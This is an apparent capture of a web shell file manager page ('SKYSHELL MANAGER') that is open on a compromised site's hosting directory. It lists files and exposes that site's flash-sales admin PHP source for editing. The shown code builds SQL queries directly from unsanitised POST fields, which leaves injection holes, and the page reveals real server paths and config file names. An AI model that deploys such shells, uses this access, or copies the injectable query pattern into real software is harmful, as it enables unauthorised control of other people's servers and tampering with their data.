📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
5609.78 KB
0644
🗑️
⬇️
✏️
🔒
Editing: flashsales.php
<?php include "admin_header.php"; include"select2.php"; ?> <!-- Begin Page Content --> <div class="container-fluid"> <!-- Page Heading --> <h5 class="mb-4 text-gray-800">Flash Sales (30% - 12pm daily)</h5> <p style="color:#FF339A; text-align:center;"></p> <div class="table-responsive overflow-auto" style="margin-bottom:20% !important;"> <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0" style="color:black; font-size:13px; font-weight:500;"> <thead><tr bgcolor="#FF339A" style="color:white;"> <th data-column-id='employee_name' width='200px'>Barcode</th> <th data-column-id='employee_name' width='200px'>Item</th> <th data-column-id='employee_salary' width='200px'>Price</th> <th data-column-id='employee_salary' width='200px'>Flashsales Date</th> <th data-column-id='employee_salary' width='200px'>Quantity</th> <th data-column-id='employee_salary' width='200px'></th> </tr> </thead> <?php include "flashsales_display.php"; ?> </table> </div> <div class="modal fade" id="addPromo"> <div class="modal-dialog modal-dialog-scrollable modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h6 style="color:black;">Schedule For Flash Sales</h6> </div> <div class="modal-body"> <form method="post"> <p><select class="form-control" name="product" id="productcategory" style="width:100%; font-size:13px !important; color:black !important; text-transform:capitalize;" required> <option selected="selected" value="" >-Select Product -</option> <?php $sql = "SELECT group_id, name FROM stocks WHERE flash_promo = '0' AND special_promo = '0' AND fast_promo = '0' AND promo = '0' AND retail_price > 10000 AND retail_price < 100000 GROUP BY group_id ORDER BY name ASC;"; $sql2 = mysqli_query($con,$sql); while ($row = mysqli_fetch_array($sql2)) { echo'<option value="'.$row['group_id'].'">'.$row['name'].'</option>'; } ?></select></p> <p><label>Choose Date</label><input type="date" class="form-control" min="<?php $date=date('Y-m-d'); echo $date; ?>" name="end" required></p> </div> <div class="modal-footer"> <input name="promo_submit" class="btn btn-sm btn-primary shadow-sm" type="submit" value="Schedule"> </div></form> </div></div> </div><!-- End Modal Dialog Scrollable--> <button data-toggle="modal" data-target="#addPromo"class="float"> <i class="bi bi-plus my-float" style="color:#fff;"></i> </button> <style> .float{ position:fixed; width:60px; height:60px; bottom:40px; right:40px; background-color:red; color:#FFF; border-radius:50px; text-align:center; box-shadow: 2px 2px 3px #999; outline:none; border:none; } .my-float{ margin-top:22px; font-size:28px; } .my-float:hover{ color:white; } .form-control{ font-size:13px; border-radius: 0; font-weight:500; color:black; } </style> </div><!-- /.container-fluid --> </div> <?php if(isset($_POST['promo_submit'])){ $product=$_POST['product']; $date=$_POST['end']; //check if product is up to 10 $checkEmail = mysqli_query($con, "SELECT * FROM stocks WHERE flash_promo='1' AND flashsales_date='$date'"); if(mysqli_num_rows($checkEmail) >= 10 ) { echo"<script>alert('Oops! This date slots are all full. Please use another date!')</script>"; } else{ $insert = mysqli_query($con,"UPDATE stocks SET flash_promo='1' where group_id='$product'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE stocks SET flashsales_date='$date' where group_id='$product'") or die ('Could not connect: ' .mysqli_error($con)); echo"<script>alert('Flashsales scheduled successfully!')</script>"; header("Refresh: 1; url=flashsales.php"); }} //delete if(isset($_POST['stop_promo'])){ $product=$_POST['orderid']; $insert = mysqli_query($con,"UPDATE stocks SET flash_promo='0' where group_id='$product'") or die ('Could not connect: ' .mysqli_error($con)); echo"<script>alert('Flashsales deleted successfully!')</script>"; header("Refresh: 1; url=flashsales.php"); } ?> <!-- End of Main Content --> <?php include "footer.php"; ?>
💾 Save Changes